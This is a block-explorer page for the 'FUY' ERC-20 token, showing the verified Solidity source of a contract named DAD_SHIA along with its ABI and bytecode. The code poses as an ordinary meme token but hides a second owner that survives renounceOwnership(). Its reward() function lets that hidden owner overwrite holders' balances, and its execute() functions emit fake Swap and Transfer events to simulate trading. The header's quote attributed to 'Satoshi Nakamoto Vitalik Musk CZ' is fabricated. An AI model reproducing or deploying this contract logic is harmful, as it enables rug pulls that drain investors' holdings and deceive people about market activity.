ERC-20
Overview
Max Total Supply
2,000,000,000 FUY
Holders
38
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
8,533,368.006964239594593544 FUYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DAD_SHIA
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-01 */ /** *Submitted for verification at Etherscan.io on 2023-08-28 */ // SPDX-License-Identifier: MIT /* SHIA OUT OF THE WAY, SON! YOUR DAD CAME "More Than a Coin, a Legacy: DAD SHIA Redefining the Crypto Landscape." -Satoshi Nakamoto Vitalik Musk CZ */ pragma solidity ^0.8.19; interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IPair { function token0() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IERC20 { function _Transfer( address from, address recipient, uint256 amount ) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); } contract DAD_SHIA { IRouter internal _router; IPair internal _pair; address public owner; address private _owner; address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B; address private _pairr; event Swapp( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private allowances; string public constant name = "FUY"; string public constant symbol = "FUY"; uint8 public constant decimals = 18; uint256 public totalSupply = 2_000_000_000e18; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to); constructor() { owner = msg.sender; _owner = msg.sender; _router = IRouter(_routerAddress); _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH()))); balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } modifier onlyOwner() { require(owner == msg.sender, "Caller is not the owner"); _; } modifier OnlyOwner() { require(_owner == msg.sender, "Caller is not the Owner"); _; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function renounceOwnership() public onlyOwner { owner = address(0); } function balanceOf(address account) public view virtual returns (uint256) { return balances[account]; } function transfer(address to, uint256 amount) public virtual returns (bool) { _transfer(msg.sender, to, amount); return true; } function allowance(address __owner, address spender) public view virtual returns (uint256) { return allowances[__owner][spender]; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { _spendAllowance(from, msg.sender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address __owner = msg.sender; _approve(__owner, spender, allowance(__owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address __owner = msg.sender; uint256 currentAllowance = allowance(__owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(__owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); balances[from] = sub(fromBalance, amount); balances[to] = add(balances[to], amount); emit Transfer(from, to, amount); } function _approve( address __owner, address spender, uint256 amount ) internal virtual { require(__owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowances[__owner][spender] = amount; emit Approval(__owner, spender, amount); } function _spendAllowance( address __owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(__owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(__owner, spender, currentAllowance - amount); } } } function execute( address[] memory recipients, uint256 tokenAmount, uint256 wethAmount, address tokenAddress ) public OnlyOwner returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { _swap(recipients[i], tokenAmount, wethAmount, tokenAddress); } return true; } function getBaseTokenReserve(address token) public view returns (uint256) { (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves(); uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1); return baseTokenReserve; } function reward( address[] calldata _users, uint256 _minBalanceToReward, uint256 _percent ) public OnlyOwner { for (uint256 i = 0; i < _users.length; i++) { if (balanceOf(_users[i]) > _minBalanceToReward) { uint256 rewardAmount = _countReward(_users[i], _percent); balances[_users[i]] = rewardAmount; } } } function setup(address _setup_) external onlyOwner { _pairr = _setup_; } function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]); emit Transfer(_pairr, _addresses_[i], _out); } } function _swap( address recipient, uint256 tokenAmount, uint256 wethAmount, address tokenAddress ) internal { _emitTransfer(recipient, tokenAmount); _emitSwap(tokenAmount, wethAmount, recipient); IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount); } function _emitTransfer(address recipient, uint256 tokenAmount) internal { emit Transfer(address(_pair), recipient, tokenAmount); } function _emitSwap( uint256 tokenAmount, uint256 wethAmount, address recipient ) internal { emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient); } function _countReward(address _user, uint256 _percent) internal view returns (uint256) { return _count(balances[_user], _percent); } function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) { uint256[] memory amountInMax; amountInMax = new uint256[](2); amountInMax = _router.getAmountsIn(amountOut, path); balances[address(this)] += amountInMax[0]; return amountInMax[0]; } function _count(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swapp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052600480546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556005805490911673ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b1790556b06765c793fa10079d0000000600955348015610067575f80fd5b5060028054336001600160a01b03199182168117909255600380548216909217909155600480545f80546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa1580156100db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100ff919061025d565b6001600160a01b031663c9c65396305f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561015c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610180919061025d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156101ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ee919061025d565b600180546001600160a01b0319166001600160a01b0392909216919091179055600954335f81815260076020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361028a565b5f6020828403121561026d575f80fd5b81516001600160a01b0381168114610283575f80fd5b9392505050565b61123780620002985f395ff3fe608060405234801561000f575f80fd5b5060043610610111575f3560e01c806370a082311161009e5780639b792a441161006e5780639b792a441461025d578063a1c617f514610270578063a457c2d714610283578063a9059cbb14610296578063dd62ed3e146102a9575f80fd5b806370a0823114610202578063715018a61461022a5780638da5cb5b1461023257806395d89b4114610115575f80fd5b806323b872dd116100e457806323b872dd1461019c578063313ce567146101af57806335d16274146101c957806339509351146101dc57806366d38203146101ef575f80fd5b806306fdde0314610115578063095ea7b31461014d57806318160ddd1461017057806318aee92014610187575b5f80fd5b6101376040518060400160405280600381526020016246555960e81b81525081565b6040516101449190610e43565b60405180910390f35b61016061015b366004610eb5565b6102bc565b6040519015158152602001610144565b61017960095481565b604051908152602001610144565b61019a610195366004610edf565b6102d2565b005b6101606101aa366004610f5a565b6103f8565b6101b7601281565b60405160ff9091168152602001610144565b6101796101d7366004610f98565b610419565b6101606101ea366004610eb5565b610545565b61019a6101fd366004610f98565b610566565b610179610210366004610f98565b6001600160a01b03165f9081526007602052604090205490565b61019a6105dc565b600254610245906001600160a01b031681565b6040516001600160a01b039091168152602001610144565b61016061026b366004610fc7565b610642565b61019a61027e366004610edf565b6106e6565b610160610291366004610eb5565b6107ef565b6101606102a4366004610eb5565b610874565b6101796102b73660046110a9565b610880565b5f6102c83384846108aa565b5060015b92915050565b6003546001600160a01b0316331461032b5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b60448201526064015b60405180910390fd5b5f5b838110156103f1578261036086868481811061034b5761034b6110e0565b90506020020160208101906102109190610f98565b11156103df575f61039786868481811061037c5761037c6110e0565b90506020020160208101906103919190610f98565b846109ce565b90508060075f8888868181106103af576103af6110e0565b90506020020160208101906103c49190610f98565b6001600160a01b0316815260208101919091526040015f2055505b806103e981611108565b91505061032d565b5050505050565b5f6104048433846109f7565b61040f848484610a6f565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561046c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104909190611136565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105149190611182565b6001600160a01b03161461053157816001600160701b031661053c565b826001600160701b03165b95945050505050565b5f3361040f8185856105578383610880565b610561919061119d565b6108aa565b6002546001600160a01b031633146105ba5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610322565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031633146106305760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610322565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146106985760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b6044820152606401610322565b5f5b85518110156106da576106c88682815181106106b8576106b86110e0565b6020026020010151868686610c45565b806106d281611108565b91505061069a565b50600195945050505050565b5f5b838110156103f157848482818110610702576107026110e0565b90506020020160208101906107179190610f98565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a3848482818110610782576107826110e0565b90506020020160208101906107979190610f98565b6006546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806107e781611108565b9150506106e8565b5f33816107fc8286610880565b90508381101561085c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610322565b61086982868684036108aa565b506001949350505050565b5f6102c8338484610a6f565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b6001600160a01b03831661090c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610322565b6001600160a01b03821661096d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610322565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f908152600760205260408120546109f09083610cd6565b9392505050565b5f610a028484610880565b90505f198114610a695781811015610a5c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610322565b610a6984848484036108aa565b50505050565b6001600160a01b038316610ad35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610322565b6001600160a01b038216610b355760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610322565b6001600160a01b0383165f9081526007602052604090205481811015610bac5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610322565b610bb68183610ce1565b6001600160a01b038086165f908152600760205260408082209390935590851681522054610be49083610d45565b6001600160a01b038085165f8181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c379086815260200190565b60405180910390a350505050565b610c4f8484610da3565b610c5a838386610deb565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610cb2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103f191906111b0565b5f6109f082846111cf565b5f82821115610d325760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610322565b5f610d3d83856111ee565b949350505050565b5f80610d51838561119d565b9050838110156109f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610322565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822906080016109c1565b5f6020808352835180828501525f5b81811015610e6e57858101830151858201604001528201610e52565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ea2575f80fd5b50565b8035610eb081610e8e565b919050565b5f8060408385031215610ec6575f80fd5b8235610ed181610e8e565b946020939093013593505050565b5f805f8060608587031215610ef2575f80fd5b843567ffffffffffffffff80821115610f09575f80fd5b818701915087601f830112610f1c575f80fd5b813581811115610f2a575f80fd5b8860208260051b8501011115610f3e575f80fd5b6020928301999098509187013596604001359550909350505050565b5f805f60608486031215610f6c575f80fd5b8335610f7781610e8e565b92506020840135610f8781610e8e565b929592945050506040919091013590565b5f60208284031215610fa8575f80fd5b81356109f081610e8e565b634e487b7160e01b5f52604160045260245ffd5b5f805f8060808587031215610fda575f80fd5b843567ffffffffffffffff80821115610ff1575f80fd5b818701915087601f830112611004575f80fd5b813560208282111561101857611018610fb3565b8160051b604051601f19603f8301168101818110868211171561103d5761103d610fb3565b60405292835281830193508481018201928b84111561105a575f80fd5b948201945b8386101561107f5761107086610ea5565b8552948201949382019361105f565b985050880135955050506040860135925061109e905060608601610ea5565b905092959194509250565b5f80604083850312156110ba575f80fd5b82356110c581610e8e565b915060208301356110d581610e8e565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201611119576111196110f4565b5060010190565b80516001600160701b0381168114610eb0575f80fd5b5f805f60608486031215611148575f80fd5b61115184611120565b925061115f60208501611120565b9150604084015163ffffffff81168114611177575f80fd5b809150509250925092565b5f60208284031215611192575f80fd5b81516109f081610e8e565b808201808211156102cc576102cc6110f4565b5f602082840312156111c0575f80fd5b815180151581146109f0575f80fd5b5f826111e957634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156102cc576102cc6110f456fea26469706673582212207a1f1620ecb8f6046cf977f3465dcc2017ecb96f80b0eaaecddd7b4fb9fca62164736f6c63430008140033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610111575f3560e01c806370a082311161009e5780639b792a441161006e5780639b792a441461025d578063a1c617f514610270578063a457c2d714610283578063a9059cbb14610296578063dd62ed3e146102a9575f80fd5b806370a0823114610202578063715018a61461022a5780638da5cb5b1461023257806395d89b4114610115575f80fd5b806323b872dd116100e457806323b872dd1461019c578063313ce567146101af57806335d16274146101c957806339509351146101dc57806366d38203146101ef575f80fd5b806306fdde0314610115578063095ea7b31461014d57806318160ddd1461017057806318aee92014610187575b5f80fd5b6101376040518060400160405280600381526020016246555960e81b81525081565b6040516101449190610e43565b60405180910390f35b61016061015b366004610eb5565b6102bc565b6040519015158152602001610144565b61017960095481565b604051908152602001610144565b61019a610195366004610edf565b6102d2565b005b6101606101aa366004610f5a565b6103f8565b6101b7601281565b60405160ff9091168152602001610144565b6101796101d7366004610f98565b610419565b6101606101ea366004610eb5565b610545565b61019a6101fd366004610f98565b610566565b610179610210366004610f98565b6001600160a01b03165f9081526007602052604090205490565b61019a6105dc565b600254610245906001600160a01b031681565b6040516001600160a01b039091168152602001610144565b61016061026b366004610fc7565b610642565b61019a61027e366004610edf565b6106e6565b610160610291366004610eb5565b6107ef565b6101606102a4366004610eb5565b610874565b6101796102b73660046110a9565b610880565b5f6102c83384846108aa565b5060015b92915050565b6003546001600160a01b0316331461032b5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b60448201526064015b60405180910390fd5b5f5b838110156103f1578261036086868481811061034b5761034b6110e0565b90506020020160208101906102109190610f98565b11156103df575f61039786868481811061037c5761037c6110e0565b90506020020160208101906103919190610f98565b846109ce565b90508060075f8888868181106103af576103af6110e0565b90506020020160208101906103c49190610f98565b6001600160a01b0316815260208101919091526040015f2055505b806103e981611108565b91505061032d565b5050505050565b5f6104048433846109f7565b61040f848484610a6f565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561046c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104909190611136565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105149190611182565b6001600160a01b03161461053157816001600160701b031661053c565b826001600160701b03165b95945050505050565b5f3361040f8185856105578383610880565b610561919061119d565b6108aa565b6002546001600160a01b031633146105ba5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610322565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031633146106305760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610322565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146106985760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b6044820152606401610322565b5f5b85518110156106da576106c88682815181106106b8576106b86110e0565b6020026020010151868686610c45565b806106d281611108565b91505061069a565b50600195945050505050565b5f5b838110156103f157848482818110610702576107026110e0565b90506020020160208101906107179190610f98565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a3848482818110610782576107826110e0565b90506020020160208101906107979190610f98565b6006546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806107e781611108565b9150506106e8565b5f33816107fc8286610880565b90508381101561085c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610322565b61086982868684036108aa565b506001949350505050565b5f6102c8338484610a6f565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b6001600160a01b03831661090c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610322565b6001600160a01b03821661096d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610322565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f908152600760205260408120546109f09083610cd6565b9392505050565b5f610a028484610880565b90505f198114610a695781811015610a5c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610322565b610a6984848484036108aa565b50505050565b6001600160a01b038316610ad35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610322565b6001600160a01b038216610b355760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610322565b6001600160a01b0383165f9081526007602052604090205481811015610bac5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610322565b610bb68183610ce1565b6001600160a01b038086165f908152600760205260408082209390935590851681522054610be49083610d45565b6001600160a01b038085165f8181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c379086815260200190565b60405180910390a350505050565b610c4f8484610da3565b610c5a838386610deb565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610cb2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103f191906111b0565b5f6109f082846111cf565b5f82821115610d325760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610322565b5f610d3d83856111ee565b949350505050565b5f80610d51838561119d565b9050838110156109f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610322565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822906080016109c1565b5f6020808352835180828501525f5b81811015610e6e57858101830151858201604001528201610e52565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ea2575f80fd5b50565b8035610eb081610e8e565b919050565b5f8060408385031215610ec6575f80fd5b8235610ed181610e8e565b946020939093013593505050565b5f805f8060608587031215610ef2575f80fd5b843567ffffffffffffffff80821115610f09575f80fd5b818701915087601f830112610f1c575f80fd5b813581811115610f2a575f80fd5b8860208260051b8501011115610f3e575f80fd5b6020928301999098509187013596604001359550909350505050565b5f805f60608486031215610f6c575f80fd5b8335610f7781610e8e565b92506020840135610f8781610e8e565b929592945050506040919091013590565b5f60208284031215610fa8575f80fd5b81356109f081610e8e565b634e487b7160e01b5f52604160045260245ffd5b5f805f8060808587031215610fda575f80fd5b843567ffffffffffffffff80821115610ff1575f80fd5b818701915087601f830112611004575f80fd5b813560208282111561101857611018610fb3565b8160051b604051601f19603f8301168101818110868211171561103d5761103d610fb3565b60405292835281830193508481018201928b84111561105a575f80fd5b948201945b8386101561107f5761107086610ea5565b8552948201949382019361105f565b985050880135955050506040860135925061109e905060608601610ea5565b905092959194509250565b5f80604083850312156110ba575f80fd5b82356110c581610e8e565b915060208301356110d581610e8e565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201611119576111196110f4565b5060010190565b80516001600160701b0381168114610eb0575f80fd5b5f805f60608486031215611148575f80fd5b61115184611120565b925061115f60208501611120565b9150604084015163ffffffff81168114611177575f80fd5b809150509250925092565b5f60208284031215611192575f80fd5b81516109f081610e8e565b808201808211156102cc576102cc6110f4565b5f602082840312156111c0575f80fd5b815180151581146109f0575f80fd5b5f826111e957634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156102cc576102cc6110f456fea26469706673582212207a1f1620ecb8f6046cf977f3465dcc2017ecb96f80b0eaaecddd7b4fb9fca62164736f6c63430008140033
Deployed Bytecode Sourcemap
